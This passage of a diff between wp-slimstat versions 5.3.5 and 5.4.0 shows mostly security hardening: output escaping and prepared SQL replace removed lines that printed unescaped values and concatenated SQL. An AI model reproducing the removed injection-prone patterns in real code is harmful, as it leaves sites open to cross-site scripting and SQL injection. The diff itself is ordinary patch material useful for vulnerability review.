\"\u003Ca class='slimstat-filter-link' href='\" . esc_url(wp_slimstat_reports::fs_url('city equals ' . $results[$i]['city'])) . \"'>\" . esc_html($results[$i]['city']) . \"\u003C\u002Fa>\";\n         }\n \n         \u002F\u002F Browser\n@@ -107,7 +110,7 @@\n             $browser_filter = sanitize_title($results[$i]['browser']);\n         }\n \n-        $browser_filter = \"\u003Ca class='slimstat-filter-link inline-icon' href='\" . wp_slimstat_reports::fs_url('browser equals ' . $results[$i]['browser']) . sprintf(\"'>\u003Cimg class='slimstat-tooltip-trigger' src='%s\u002Fassets\u002Fimages\u002Fbrowsers\u002F%s.png' width='16' height='16' title='%s'>\u003C\u002Fa>\", $plugin_url, $browser_filter, $browser_title);\n+        $browser_filter = \"\u003Ca class='slimstat-filter-link inline-icon' href='\" . esc_url(wp_slimstat_reports::fs_url('browser equals ' . $results[$i]['browser'])) . \"'>\u003Cimg class='slimstat-tooltip-trigger' src='\" . esc_url($plugin_url . '\u002Fassets\u002Fimages\u002Fbrowsers\u002F' . $browser_filter . '.png') . \"' width='16' height='16' title='\" . esc_attr($browser_title) . \"'>\u003C\u002Fa>\";\n \n         \u002F\u002F Operating System\n         $platform_filter = 'unknown';\n@@ -137,7 +140,7 @@\n         }\n \n         if (empty($results[$i]['username'])) {\n-            $ip_address = \"\u003Ca class='slimstat-filter-link' href='\" . wp_slimstat_reports::fs_url('ip equals ' . $results[$i]['ip']) . sprintf(\"'>%s\u003C\u002Fa>\", $host_by_ip);\n+            $ip_address = \"\u003Ca class='slimstat-filter-link' href='\" . esc_url(wp_slimstat_reports::fs_url('ip equals ' . $results[$i]['ip'])) . \"'>\" . esc_html($host_by_ip) . \"\u003C\u002Fa>\";\n         } else {\n             $display_user_name = $results[$i]['username'];\n             if ('on' == wp_slimstat::$settings['show_display_name'] && false !== strpos($results[$i]['notes'], 'user:')) {\n@@ -148,29 +151,37 @@\n             }\n \n             $user       = get_user_by('login', $results[$i]['username']);\n-            $ip_address = \"\u003Ca class='slimstat-filter-link' href='\" . wp_slimstat_reports::fs_url('username equals ' . $results[$i]['username']) . \"'>\";\n+            $ip_address = \"\u003Ca class='slimstat-filter-link' href='\" . esc_url(wp_slimstat_reports::fs_url('username equals ' . $results[$i]['username'])) . \"'>\";\n             if ($user) {\n                 $ip_address .= get_avatar($user->ID, 16);\n             } else {\n                 $ip_address .= get_avatar($results[$i]['username'], 16);\n             }\n \n-            $ip_address .= sprintf(' %s\u003C\u002Fa>', $display_user_name);\n+            $ip_address .= ' ' . esc_html($display_user_name) . '\u003C\u002Fa>';\n+            $display_ip_value = $results[$i]['ip'];\n+            if ('on' == (wp_slimstat::$settings['hash_ip'] ?? 'off')) {\n+                $display_ip_value = substr($results[$i]['ip'], 0, 12) . '…';\n+            } elseif ('on' == wp_slimstat::$settings['anonymize_ip']) {\n+                \u002F\u002F already masked in storage; still truncate for UI clarity\n+                $display_ip_value = $results[$i]['ip'];\n+            }\n+\n             $ip_address .= \" \u003Ca class='slimstat-filter-link' href='\"\n                . wp_slimstat_reports::fs_url('ip equals ' . $results[$i]['ip'])\n-               . sprintf(\"'>(%s)\u003C\u002Fa>\", $host_by_ip);\n+               . sprintf(\"'>(%s)\u003C\u002Fa>\", esc_html($display_ip_value));\n             $highlight_row = (false !== strpos($results[$i]['notes'], 'user:')) ? ' is-known-user' : ' is-known-visitor';\n         }\n \n         $whois_pin = '';\n         if (is_admin() && !empty(wp_slimstat::$settings['ip_lookup_service']) && !wp_slimstat::is_local_ip_address($results[$i]['ip'])) {\n-            $whois_pin = \"\u003Ca class='slimstat-font-location-1 whois' href='\" . wp_slimstat::$settings['ip_lookup_service'] . sprintf(\"%s' target='_blank' title='WHOIS: %s'>\u003C\u002Fa>\", $results[ $i ][ 'ip' ], $results[ $i ][ 'ip' ]);\n+            $whois_pin = \"\u003Ca class='slimstat-font-location-1 whois' href='\" . esc_url(wp_slimstat::$settings['ip_lookup_service'] . $results[$i]['ip']) . \"' target='_blank' title='WHOIS: \" . esc_attr($results[$i]['ip']) . \"'>\u003C\u002Fa>\";\n         }\n \n         \u002F\u002F Originating IP Address\n         $other_ip_address = '';\n         if (!empty($results[$i]['other_ip'])) {\n-            $other_ip_address = \"(\u003Ca class='slimstat-font-location-1 whois' href='\" . wp_slimstat::$settings['ip_lookup_service'] . sprintf(\"%s' target='_blank' title='WHOIS: %s'>\u003C\u002Fa> \u003Ca class='slimstat-filter-link' href='\", $results[ $i ][ 'other_ip' ], $results[ $i ][ 'other_ip' ]) . wp_slimstat_reports::fs_url('other_ip equals ' . $results[$i]['other_ip']) . \"'>\" . __('Originating IP', 'wp-slimstat') . sprintf(': %s)\u003C\u002Fa>', $results[$i]['other_ip']);\n+            $other_ip_address = \"(\u003Ca class='slimstat-font-location-1 whois' href='\" . esc_url(wp_slimstat::$settings['ip_lookup_service'] . $results[$i]['other_ip']) . \"' target='_blank' title='WHOIS: \" . esc_attr($results[$i]['other_ip']) . \"'>\u003C\u002Fa> \u003Ca class='slimstat-filter-link' href='\" . esc_url(wp_slimstat_reports::fs_url('other_ip equals ' . $results[$i]['other_ip'])) . \"'>\" . __('Originating IP', 'wp-slimstat') . ': ' . esc_html($results[$i]['other_ip']) . \")\u003C\u002Fa>\";\n         }\n \n         \u002F\u002F Screen Resolution\n@@ -182,7 +193,7 @@\n         \u002F\u002F Fingerprint\n         $fingerprint = '';\n         if (!$is_dashboard && !empty($results[$i]['fingerprint'])) {\n-            $fingerprint = \"\u003Cspan class='pageview-screenres'>\u003Ccode>\u003Ca class='slimstat-filter-link slimstat-tooltip-trigger' href='\" . wp_slimstat_reports::fs_url('fingerprint equals ' . $results[$i]['fingerprint']) . \"' title='\" . $results[$i]['fingerprint'] . \"'>\" . substr($results[$i]['fingerprint'], 0, 8) . '\u003C\u002Fa>\u003C\u002Fcode>\u003C\u002Fspan>';\n+            $fingerprint = \"\u003Cspan class='pageview-screenres'>\u003Ccode>\u003Ca class='slimstat-filter-link slimstat-tooltip-trigger' href='\" . wp_slimstat_reports::fs_url('fingerprint equals ' . esc_attr($results[$i]['fingerprint'])) . \"' title='\" . esc_attr($results[$i]['fingerprint']) . \"'>\" . esc_html(substr($results[$i]['fingerprint'], 0, 8)) . '\u003C\u002Fa>\u003C\u002Fcode>\u003C\u002Fspan>';\n         }\n \n         $row_output = sprintf(\"\u003Cp class='header%s'>%s %s %s %s %s %s %s %s %s %s %s\u003C\u002Fp>\", $highlight_row, $browser_filter, $platform_filter, $browser_type_filter, $country_filter, $whois_pin, $city_filter, $ip_address, $other_ip_address, $fingerprint, $screen_resolution, $language_filter);\n@@ -221,6 +232,15 @@\n         $results[$i]['resource'] = __('Local search results page', 'wp-slimstat');\n     }\n \n+    \u002F\u002F Defensive: ensure 'searchterms' and 'referer' keys exist to avoid undefined index\n+    if (!isset($results[$i]['searchterms'])) {\n+        $results[$i]['searchterms'] = '';\n+    }\n+\n+    if (!isset($results[$i]['referer'])) {\n+        $results[$i]['referer'] = '';\n+    }\n+\n     if (empty($search_terms_info)) {\n         $search_terms_info = wp_slimstat_reports::get_search_terms_info($results[$i]['searchterms'], $results[$i]['referer']);\n     }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Fupgrade-pro.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fview\u002Fupgrade-pro.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Fupgrade-pro.php\t2025-08-25 08:38:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fview\u002Fupgrade-pro.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -3,8 +3,6 @@\n     exit();\n }\n \n-\u002F\u002F Load header\n-wp_slimstat_admin::get_template('header', ['is_pro' => wp_slimstat::pro_is_installed()]);\n ?>\n \u003Cdiv class=\"backdrop-container\">\n     \u003C?php\n@@ -12,6 +10,7 @@\n     wp_slimstat_admin::get_template('slimstat-pro-modal');\n ?>\n     \u003Cdiv class=\"wrap slimstat upgrade-pro\">\n+        \u003C?php wp_slimstat_admin::get_template('header', ['is_pro' => wp_slimstat::pro_is_installed()]); ?>\n         \u003Cimg class=\"upgrade-pro-background\" src=\"\u003C?php echo esc_url(plugin_dir_url(__FILE__) . '..\u002Fassets\u002Fimages\u002Fpro-blur.jpg'); ?>\">\n     \u003C\u002Fdiv>\n \u003C\u002Fdiv>\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Fwp-slimstat-db.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fview\u002Fwp-slimstat-db.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Fwp-slimstat-db.php\t2025-12-17 11:24:04.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fview\u002Fwp-slimstat-db.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -1,5 +1,8 @@\n \u003C?php\n \n+use SlimStat\\Utils\\Query;\n+use SlimStat\\Components\\DateRangeHelper;\n+\n \u002F\u002F Let's define the main class with all the methods that we need\n class wp_slimstat_db\n {\n@@ -129,10 +132,58 @@\n         \u002F\u002F Filters use the following format: browser equals Firefox&&&country contains gb\n         $filters_array = [];\n \n+        \u002F\u002F Handle type parameter for date presets and custom ranges\n+        if (isset($_GET['type'])) {\n+            \u002F\u002F Sanitize the type parameter to prevent XSS\n+            $type = sanitize_key($_GET['type']);\n+\n+            if ($type !== 'custom') {\n+                \u002F\u002F Handle preset types\n+                \u002F\u002F Validate that the type is a valid preset before using it\n+                $valid_presets = ['today', 'yesterday', 'this_week', 'last_week', 'this_month', 'last_month',\n+                                  'last_7_days', 'last_28_days', 'last_30_days', 'last_90_days',\n+                                  'last_6_months', 'this_year'];\n+\n+                if (in_array($type, $valid_presets, true)) {\n+                    $preset_range = DateRangeHelper::get_range_by_preset($type);\n+                    if ($preset_range) {\n+                        $filters_array['strtotime'] = 'strtotime equals ' . sanitize_text_field(wp_date('Y-m-d', $preset_range['end']));\n+                        \u002F\u002F Calculate days by normalizing to midnight to avoid DST issues\n+                        $start_day = strtotime(wp_date('Y-m-d', $preset_range['start']));\n+                        $end_day = strtotime(wp_date('Y-m-d', $preset_range['end']));\n+                        $interval_days = (($end_day - $start_day) \u002F 86400) + 1;\n+                        $filters_array['interval'] = 'interval equals -' . absint($interval_days);\n+                    }\n+                }\n+            } elseif (isset($_GET['from']) && isset($_GET['to'])) {\n+                \u002F\u002F Sanitize date inputs to prevent XSS\n+                $from_date = sanitize_text_field($_GET['from']);\n+                $to_date = sanitize_text_field($_GET['to']);\n+\n+                \u002F\u002F Validate date format (YYYY-MM-DD)\n+                if (preg_match('\u002F^\\d{4}-\\d{2}-\\d{2}$\u002F', $from_date) && preg_match('\u002F^\\d{4}-\\d{2}-\\d{2}$\u002F', $to_date)) {\n+                    \u002F\u002F Calculate interval days directly from the date strings\n+                    $start_day = strtotime($from_date);\n+                    $end_day = strtotime($to_date);\n+\n+                    \u002F\u002F Basic validation\n+                    if ($start_day && $end_day && $start_day \u003C= $end_day) {\n+                        $interval_days = (($end_day - $start_day) \u002F 86400) + 1;\n+\n+                        \u002F\u002F Use the date strings directly without converting back and forth\n+                        $filters_array['strtotime'] = 'strtotime equals ' . $to_date;\n+                        $filters_array['interval'] = 'interval equals -' . absint($interval_days);\n+                    }\n+                }\n+            }\n+        }\n+\n         \u002F\u002F Filters are set via javascript as hidden fields and submitted as a POST request. They override anything passed through the regular input fields\n         if (!empty($_REQUEST['fs']) && is_array($_REQUEST['fs'])) {\n             foreach ($_REQUEST['fs'] as $a_request_filter_name => $a_request_filter_value) {\n-                $filters_array[htmlspecialchars($a_request_filter_name)] = sprintf('%s %s', $a_request_filter_name, $a_request_filter_value);\n+                $safe_name  = sanitize_text_field(wp_unslash($a_request_filter_name));\n+                $safe_value = str_replace('&&&', '', sanitize_text_field(wp_unslash($a_request_filter_value)));\n+                $filters_array[$safe_name] = sprintf('%s %s', $safe_name, $safe_value);\n             }\n         }\n \n@@ -208,8 +259,10 @@\n         return '';\n     }\n \n-    public static function get_combined_where($_where = '', $_column = '*', $_use_date_filters = true, $_slim_stats_table_alias = '')\n+    public static function get_combined_where($_where = '', $_column = '*', $_use_date_filters = true, $_slim_stats_table_alias = '', $where_params = null)\n     {\n+        global $wpdb;\n+\n         $dt_with_alias = 'dt';\n         if (!empty($_slim_stats_table_alias)) {\n             $dt_with_alias = $_slim_stats_table_alias . '.' . $dt_with_alias;\n@@ -221,10 +274,20 @@\n                 $_where = self::_get_sql_where(self::$filters_normalized['columns'], $_slim_stats_table_alias);\n \n                 if ($_use_date_filters) {\n-                    $time_range_condition = $dt_with_alias . ' BETWEEN ' . self::$filters_normalized['utime']['start'] . ' AND ' . self::$filters_normalized['utime']['end'];\n+                    \u002F\u002F Use $wpdb->prepare() for all dynamic SQL values\n+                    $time_range_condition = $wpdb->prepare(\n+                        $dt_with_alias . ' BETWEEN %d AND %d',\n+                        intval(self::$filters_normalized['utime']['start']),\n+                        intval(self::$filters_normalized['utime']['end'])\n+                    );\n                 }\n             } elseif ($_use_date_filters) {\n-                $time_range_condition = $dt_with_alias . ' BETWEEN ' . self::$filters_normalized['utime']['start'] . ' AND ' . self::$filters_normalized['utime']['end'];\n+                \u002F\u002F Use $wpdb->prepare() for all dynamic SQL values\n+                $time_range_condition = $wpdb->prepare(\n+                    $dt_with_alias . ' BETWEEN %d AND %d',\n+                    intval(self::$filters_normalized['utime']['start']),\n+                    intval(self::$filters_normalized['utime']['end'])\n+                );\n             }\n \n             \u002F\u002F This could happen if we have custom filters (add-ons, third party tools)\n@@ -242,7 +305,12 @@\n             }\n \n             if ($_use_date_filters) {\n-                $time_range_condition = $dt_with_alias . ' BETWEEN ' . self::$filters_normalized['utime']['start'] . ' AND ' . self::$filters_normalized['utime']['end'];\n+                \u002F\u002F Use $wpdb->prepare() for all dynamic SQL values\n+                $time_range_condition = $wpdb->prepare(\n+                    $dt_with_alias . ' BETWEEN %d AND %d',\n+                    intval(self::$filters_normalized['utime']['start']),\n+                    intval(self::$filters_normalized['utime']['end'])\n+                );\n             }\n         }\n \n@@ -266,6 +334,12 @@\n             }\n         }\n \n+        \u002F\u002F If where_param is provided and where contains %s or %d, use prepare\n+        if (null !== $where_params && (false !== strpos($_where, '%s') || false !== strpos($_where, '%d'))) {\n+            global $wpdb;\n+            $_where = is_array($where_params) ? $wpdb->prepare($_where, ...$where_params) : $wpdb->prepare($_where, $where_params);\n+        }\n+\n         return $_where;\n     }\n \n@@ -336,16 +410,17 @@\n                 break;\n \n             case 'is_greater_than':\n-                $where[0] = '%s > ' . $column_with_alias;\n+                $where[0] = sprintf('%s > %%s', $column_with_alias);\n                 break;\n \n             case 'is_less_than':\n-                $where[0] = '%s \u003C ' . $column_with_alias;\n+                $where[0] = sprintf('%s \u003C %%s', $column_with_alias);\n                 break;\n \n             case 'between':\n                 $range = explode(',', $_value);\n-                $where = ['%s BETWEEN %d AND ' . $column_with_alias, [$range[0], $range[1]]];\n+                $where[0] = sprintf('%s BETWEEN %%d AND %%d', $column_with_alias);\n+                $where[1] = [intval($range[0]), intval($range[1])];\n                 break;\n \n             case 'matches':\n@@ -362,12 +437,33 @@\n         }\n \n         if (isset($where[1]) && '' != $where[1]) {\n+            \u002F\u002F Handle array of values for operators like 'between'\n+            if (is_array($where[1])) {\n+                return $GLOBALS['wpdb']->prepare($where[0], ...$where[1]);\n+            }\n             return $GLOBALS['wpdb']->prepare($where[0], $where[1]);\n         } else {\n             return $where[0];\n         }\n     }\n \n+    \u002F**\n+     * Helper to enable caching on a Query object if the date range does not include today.\n+     *\n+     * @param Query $query\n+     *\u002F\n+    protected static function maybe_enable_query_cache($query)\n+    {\n+        \u002F\u002F Use the end date from normalized filters (if available)\n+        if (!empty(self::$filters_normalized['utime']['end'])) {\n+            \u002F\u002F Convert to Y-m-d for comparison (Query expects string date)\n+            $to = wp_date('Y-m-d', self::$filters_normalized['utime']['end']);\n+            if (method_exists($query, 'canUseCacheForDateRange')) {\n+                $query->canUseCacheForDateRange($to);\n+            }\n+        }\n+    }\n+\n     public static function get_results($_sql = '', $_select_no_aggregate_values = '', $_order_by = '', $_group_by = '', $_aggregate_values_add = '')\n     {\n         $_sql = apply_filters('slimstat_get_results_sql', $_sql, $_select_no_aggregate_values, $_order_by, $_group_by, $_aggregate_values_add);\n@@ -376,15 +472,63 @@\n             self::$debug_message .= sprintf(\"\u003Cp class='debug'>%s\u003C\u002Fp>\", $_sql);\n         }\n \n-        $cached_results = wp_cache_get(md5($_sql), 'wp-slimstat');\n+        $table    = $GLOBALS['wpdb']->prefix . 'slim_stats';\n+        $sql_trim = ltrim($_sql);\n+\n+        \u002F\u002F Try to convert SQL to Query class for better caching and performance\n+        if (0 === stripos($sql_trim, 'select') && false !== stripos($sql_trim, $table)) {\n+            \u002F\u002F Add caching for SELECT queries\n+            $cache_key      = 'slimstat_query_' . md5($_sql);\n+            $cached_results = get_transient($cache_key);\n+            if (false !== $cached_results) {\n+                return $cached_results;\n+            }\n+\n+            \u002F\u002F Try to parse and convert to Query class\n+            if (preg_match('\u002FSELECT (.+) FROM [^ ]+ WHERE (.+?)( GROUP BY (.+?))?( ORDER BY (.+?))?( LIMIT (\\d+), (\\d+))?\u002Fis', $_sql, $m)) {\n+                $columns      = trim($m[1]);\n+                $where        = trim($m[2]);\n+                $group_by     = isset($m[4]) ? trim($m[4]) : '';\n+                $order_by     = isset($m[6]) ? trim($m[6]) : '';\n+                $limit_offset = isset($m[8]) ? intval($m[8]) : 0;\n+                $limit_count  = isset($m[9]) ? intval($m[9]) : 100;\n+\n+                $q = Query::select($columns)->from($table);\n+\n+                if ($where && '1=1' !== $where) {\n+                    $q->whereRaw($where);\n+                }\n+\n+                if ('' !== $group_by && '0' !== $group_by) {\n+                    $q->groupBy($group_by);\n+                }\n+\n+                if ('' !== $order_by && '0' !== $order_by) {\n+                    $q->orderBy($order_by);\n+                }\n \n-        \u002F\u002F Save the results of this query in our object cache\n-        if (empty($cached_results)) {\n-            $cached_results = wp_slimstat::$wpdb->get_results($_sql, ARRAY_A);\n-            wp_cache_add(md5($_sql), $cached_results, 'wp-slimstat');\n+                $page = ($limit_offset \u002F $limit_count) + 1;\n+                $q->perPage($page, $limit_count);\n+                $q->allowCaching(true);\n+                $result = $q->getAll();\n+                set_transient($cache_key, $result, 10 * MINUTE_IN_SECONDS);\n+                return $result;\n+            }\n         }\n \n-        return $cached_results;\n+        \u002F\u002F Fallback to direct wpdb for complex queries\n+        return $GLOBALS['wpdb']->get_results($_sql, ARRAY_A);\n+    }\n+\n+    protected static function is_simple_count_query($sql)\n+    {\n+        $sql_trim = ltrim($sql);\n+        if (preg_match('\u002F^select\\s+count\\s*\\(.*\\)\\s+as\\s+[a-z_][a-z0-9_]*\\s+from\\s+[`\\w]+\u002Fi', $sql_trim) && (false === stripos($sql_trim, ' join ') && false === stripos($sql_trim, ' group by ') && false === stripos($sql_trim, ' having ') && false === stripos($sql_trim, ' union ') && false === stripos($sql_trim, ' as sub') && stripos($sql_trim, '(') === stripos($sql_trim, 'count('))) {\n+            \u002F\u002F no subquery before count\n+            return true;\n+        }\n+\n+        return preg_match('\u002F^select\\s+count\\s*\\(\\s*distinct\\s+.*\\)\\s+as\\s+[a-z_][a-z0-9_]*\\s+from\\s+[`\\w]+\u002Fi', $sql_trim) && (false === stripos($sql_trim, ' join ') && false === stripos($sql_trim, ' group by ') && false === stripos($sql_trim, ' having ') && false === stripos($sql_trim, ' union ') && false === stripos($sql_trim, ' as sub'));\n     }\n \n     public static function get_var($_sql = '', $_aggregate_value = '')\n@@ -395,12 +539,52 @@\n             self::$debug_message .= sprintf(\"\u003Cp class='debug'>%s\u003C\u002Fp>\", $_sql);\n         }\n \n-        \u002F\u002F Save the results of this query in our object cache\n-        if (empty(wp_cache_get(md5($_sql), 'wp-slimstat'))) {\n-            wp_cache_add(md5($_sql), wp_slimstat::$wpdb->get_var($_sql), 'wp-slimstat');\n+        $table = $GLOBALS['wpdb']->prefix . 'slim_stats';\n+        $sql_trim = ltrim($_sql);\n+\n+        \u002F\u002F Try to convert to Query class for better performance\n+        if (0 === stripos($sql_trim, 'select') && false !== stripos($sql_trim, $table)) {\n+            \u002F\u002F Parse simple count queries\n+            if (preg_match('\u002F^SELECT\\s+COUNT\\s*\\(\\s*(\\*|DISTINCT\\s+(\\w+))\\s*\\)\\s+AS\\s+(\\w+)\\s+FROM\\s+[`\\w]+(?:\\s+WHERE\\s+(.+?))?$\u002Fi', $sql_trim, $matches)) {\n+                $count_field = $matches[1];\n+                $alias = $matches[3];\n+                $where_clause = isset($matches[4]) ? trim($matches[4]) : '';\n+\n+                $query = Query::select($count_field)->from($table);\n+\n+                if ($where_clause !== '' && $where_clause !== '0') {\n+                    $query->whereRaw($where_clause);\n+                }\n+\n+                $query->allowCaching(true);\n+                return $query->getVar();\n+            }\n+\n+            \u002F\u002F Parse other aggregate queries\n+            if (preg_match('\u002F^SELECT\\s+(\\w+\\([^)]+\\))\\s+AS\\s+(\\w+)\\s+FROM\\s+[`\\w]+(?:\\s+WHERE\\s+(.+?))?$\u002Fi', $sql_trim, $matches)) {\n+                $aggregate = $matches[1];\n+                $alias = $matches[2];\n+                $where_clause = isset($matches[3]) ? trim($matches[3]) : '';\n+\n+                $query = Query::select($aggregate)->from($table);\n+\n+                if ($where_clause !== '' && $where_clause !== '0') {\n+                    $query->whereRaw($where_clause);\n+                }\n+\n+                $query->allowCaching(true);\n+                return $query->getVar();\n+            }\n         }\n \n-        return wp_cache_get(md5($_sql), 'wp-slimstat');\n+        \u002F\u002F Fallback to wpdb for complex queries\n+        if (0 === stripos(trim($_sql), 'select')) {\n+            $query = Query::select('*')->from('(' . $_sql . ') as sub');\n+            self::maybe_enable_query_cache($query);\n+            return $query->getVar();\n+        } else {\n+            return wp_slimstat::$wpdb->get_var($_sql);\n+        }\n     }\n \n     public static function parse_filters($_filters_raw)\n@@ -443,23 +627,23 @@\n                             self::toggle_date_i18n_filters(false);\n                             switch ($a_filter[1]) {\n                                 case 'minute':\n-                                    $filters_parsed['date']['minute'] = intval(date('i', strtotime($a_filter[3], date_i18n('U'))));\n+                                    $filters_parsed['date']['minute'] = intval(wp_date('i', strtotime($a_filter[3], date_i18n('U'))));\n                                     break;\n \n                                 case 'hour':\n-                                    $filters_parsed['date']['hour'] = intval(date('H', strtotime($a_filter[3], date_i18n('U'))));\n+                                    $filters_parsed['date']['hour'] = intval(wp_date('H', strtotime($a_filter[3], date_i18n('U'))));\n                                     break;\n \n                                 case 'day':\n-                                    $filters_parsed['date']['day'] = intval(date('j', strtotime($a_filter[3], date_i18n('U'))));\n+                                    $filters_parsed['date']['day'] = intval(wp_date('j', strtotime($a_filter[3], date_i18n('U'))));\n                                     break;\n \n                                 case 'month':\n-                                    $filters_parsed['date']['month'] = intval(date('n', strtotime($a_filter[3], date_i18n('U'))));\n+                                    $filters_parsed['date']['month'] = intval(wp_date('n', strtotime($a_filter[3], date_i18n('U'))));\n                                     break;\n \n                                 case 'year':\n-                                    $filters_parsed['date']['year'] = intval(date('Y', strtotime($a_filter[3], date_i18n('U'))));\n+                                    $filters_parsed['date']['year'] = intval(wp_date('Y', strtotime($a_filter[3], date_i18n('U'))));\n                                     break;\n \n                                 default:\n@@ -495,7 +679,11 @@\n                         \u002F\u002F no break here: if value IS numeric, go to the default parser here below\n \n                     default:\n-                        $filters_parsed['columns'][$a_filter[1]] = [$a_filter[2], isset($a_filter[3]) ? str_replace('\\\\', '', htmlspecialchars_decode($a_filter[3])) : ''];\n+                        $filter_value = isset($a_filter[3]) ? str_replace('\\\\', '', htmlspecialchars_decode($a_filter[3])) : '';\n+                        \u002F\u002F Only add filter if value is not empty (ignore filters without values)\n+                        if (trim($filter_value) !== '') {\n+                            $filters_parsed['columns'][$a_filter[1]] = [$a_filter[2], $filter_value];\n+                        }\n                         break;\n                 }\n             }\n@@ -588,6 +776,7 @@\n                 $fn['utime']['end'] = intval(date_i18n('U'));\n             }\n \n+            \u002F\u002F Add 1 second to account for the time difference between midnight and 23:59:59\n             $fn['utime']['range'] += 1;\n             $fn['utime']['start'] = $fn['utime']['end'] + $fn['utime']['range'];\n \n@@ -659,41 +848,70 @@\n         ));\n     }\n \n-    public static function count_records($_column = 'id', $_where = '', $_use_date_filters = true)\n+    public static function count_records($_column = 'id', $_where = '', $_use_date_filters = true, $where_params = [])\n     {\n         \u002F\u002F Validating the column\n         if (false === in_array($_column, ['id', 'ip', 'other_ip', 'username', 'email', 'country', 'location', 'city', 'referer', 'resource', 'searchterms', 'notes', 'visit_id', 'server_latency', 'page_performance', 'browser', 'browser_version', 'browser_type', 'platform', 'language', 'fingerprint', 'user_agent', 'resolution', 'screen_width', 'screen_height', 'content_type', 'category', 'author', 'content_id', 'outbound_resource', 'tz_offset', 'dt_out', 'dt'])) {\n             return null;\n         }\n \n+        $table = $GLOBALS['wpdb']->prefix . 'slim_stats';\n         $distinct_column = ('id' != $_column) ? 'DISTINCT ' . $_column : $_column;\n-        $_where          = self::get_combined_where($_where, $_column, $_use_date_filters);\n \n-        return intval(self::get_var(\n-            \"\n-\t\t\tSELECT COUNT({$distinct_column}) counthits\n-\t\t\tFROM {$GLOBALS['wpdb']->prefix}slim_stats\n-\t\t\tWHERE {$_where}\",\n-            'SUM(counthits) AS counthits'\n-        ));\n+        $query = Query::select(sprintf('COUNT(%s) as counthits', $distinct_column))->from($table);\n+\n+        \u002F\u002F Add date filters if needed\n+        if ($_use_date_filters && !empty(self::$filters_normalized['utime']['start']) && !empty(self::$filters_normalized['utime']['end'])) {\n+            $query->where('dt', 'BETWEEN', [intval(self::$filters_normalized['utime']['start']), intval(self::$filters_normalized['utime']['end'])]);\n+        }\n+\n+\t\tif (\n+\t\t\t!empty($_where)\n+\t\t\t&& !empty($where_params)\n+\t\t\t&& (false !== strpos($_where, '%s') || false !== strpos($_where, '%d') || false !== strpos($_where, '%f'))\n+\t\t) {\n+\t\t\t$_where = is_array($where_params) ? $GLOBALS['wpdb']->prepare($_where, ...$where_params) : $GLOBALS['wpdb']->prepare($_where, $where_params);\n+\t\t}\n+\n+        \u002F\u002F Add custom where clause\n+        if (!empty($_where)) {\n+            $query->whereRaw($_where);\n+        }\n+\n+        \u002F\u002F Add other filters\n+        if (!empty(self::$filters_normalized['columns'])) {\n+            $where_clause = self::_get_sql_where(self::$filters_normalized['columns']);\n+            if (!empty($where_clause)) {\n+                $query->whereRaw($where_clause);\n+            }\n+        }\n+\n+        $query->allowCaching(true);\n+        return intval($query->getVar());\n     }\n \n     public static function count_records_having($_column = 'id', $_where = '', $_having = '')\n     {\n-        $distinct_column = ('id' != $_column) ? 'DISTINCT ' . $_column : $_column;\n-        $_where          = self::get_combined_where($_where, $_column);\n+        \u002F\u002F Allowlist: only known schema columns are allowed as identifiers\n+        $allowed_columns = array_keys(self::$columns_names);\n+        if (!in_array($_column, $allowed_columns, true)) {\n+            return 0;\n+        }\n+\n+        $table = $GLOBALS['wpdb']->prefix . 'slim_stats';\n+        $distinct_column = ('id' !== $_column) ? 'DISTINCT ' . esc_sql($_column) : esc_sql($_column);\n+\n+        $query = Query::select(\"COUNT(*) as counthits\")\n+            ->from(\"(\n+                SELECT {$distinct_column}\n+                FROM {$table}\n+                WHERE \" . self::get_combined_where($_where, $_column) . \"\n+                GROUP BY \" . esc_sql($_column) . \"\n+                HAVING {$_having}\n+            ) AS ts1\");\n \n-        return intval(self::get_var(\n-            \"\n-\t\t\tSELECT COUNT(*) counthits FROM (\n-\t\t\t\tSELECT {$distinct_column}\n-\t\t\t\tFROM {$GLOBALS['wpdb']->prefix}slim_stats\n-\t\t\t\tWHERE {$_where}\n-\t\t\t\tGROUP BY {$_column}\n-\t\t\t\tHAVING {$_having}\n-\t\t\t) AS ts1\",\n-            'SUM(counthits) AS counthits'\n-        ));\n+        $query->allowCaching(true);\n+        return intval($query->getVar());\n     }\n \n     public static function get_data_size()\n@@ -715,8 +933,6 @@\n \n     public static function get_group_by($_args = [])\n     {\n-        $where = self::get_combined_where();\n-\n         if (empty($_args['column_group'])) {\n             $_args['column_group'] = 'id';\n         }\n@@ -725,51 +941,65 @@\n             $_args['group_by'] = 'id';\n         }\n \n-        \u002F\u002F prepare the query\n-        $sql = $GLOBALS['wpdb']->prepare(\n-            \"\n-\t\t\tSELECT {$_args[ 'group_by' ]}, COUNT(*) AS counthits, GROUP_CONCAT( DISTINCT {$_args[ 'column_group' ]} SEPARATOR ';;;' ) as column_group\n-\t\t\tFROM {$GLOBALS['wpdb']->prefix}slim_stats\n-\t\t\tWHERE {$where} AND {$_args[ 'group_by' ]} IS NOT NULL\n-\t\t\tGROUP BY {$_args[ 'group_by' ]}\n-\n-\t\t\tORDER BY counthits DESC\n-\t\t\tLIMIT %d, %d\",\n-            